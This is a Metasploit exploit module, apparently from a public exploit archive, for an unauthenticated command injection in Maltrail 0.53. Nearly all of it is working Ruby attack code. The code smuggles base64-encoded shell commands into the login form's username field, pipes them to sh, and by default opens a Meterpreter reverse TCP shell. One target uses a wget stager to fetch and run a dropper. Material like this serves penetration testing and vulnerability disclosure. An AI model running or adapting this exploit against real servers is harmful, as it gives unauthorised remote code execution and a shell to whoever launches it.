Maltrail 0.53 Unauthenticated Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Maltrail Unauthenticated Command Injection',  
'Description' => %q{  
Maltrail is a malicious traffic detection system, utilizing publicly  
available blacklists containing malicious and/or generally suspicious trails.  
The Maltrail versions < 0.54 is suffering from a command injection vulnerability.  
The `subprocess.check_output` function in `mailtrail/core/http.py` contains  
a command injection vulnerability in the `params.get("username")` parameter.  
An attacker can exploit this vulnerability by injecting arbitrary OS commands  
into the username parameter. The injected commands will be executed with the  
privileges of the running process. This vulnerability can be exploited remotely  
without authentication.  
  
Successfully tested against Maltrail versions 0.52 and 0.53.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ege BALCI <egebalci[at]pm.me>', # msf module  
'Chris Wild', # original PoC, analysis  
],  
'References' => [  
['EDB', '51676'],  
['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],  
['URL', 'https://github.com/stamparm/maltrail/issues/19146']  
],  
'Platform' => ['unix', 'linux'],  
'Privileged' => false,  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => :wget,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DisclosureDate' => '2023-07-31',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
}  
)  
)  
register_options(  
[  
Opt::RPORT(8338),  
OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
)  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}  
  
if version < Rex::Version.new('0.54')  
return CheckCode::Appears("Version Detected: #{version}")  
end  
  
CheckCode::Safe("Version Detected: #{version}")  
end  
  
def execute_command(cmd, _opts = {})  
send_request_raw( # This needs to be a raw requess cuz we don't wanna URL encode the body  
'uri' => normalize_uri(target_uri.path, 'login'),  
'method' => 'POST',  
'headers' => {  
'ctype' => 'application/x-www-form-urlencoded'  
},  
'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`" # We also need all the +  
)  
end  
  
def exploit  
case target['Type']  
when :unix_cmd  
print_status("Executing #{target.name}...")  
execute_command(payload.encoded)  
when :linux_dropper  
print_status("Executing #{target.name}...")  
execute_cmdstager  
end  
end  
end  
`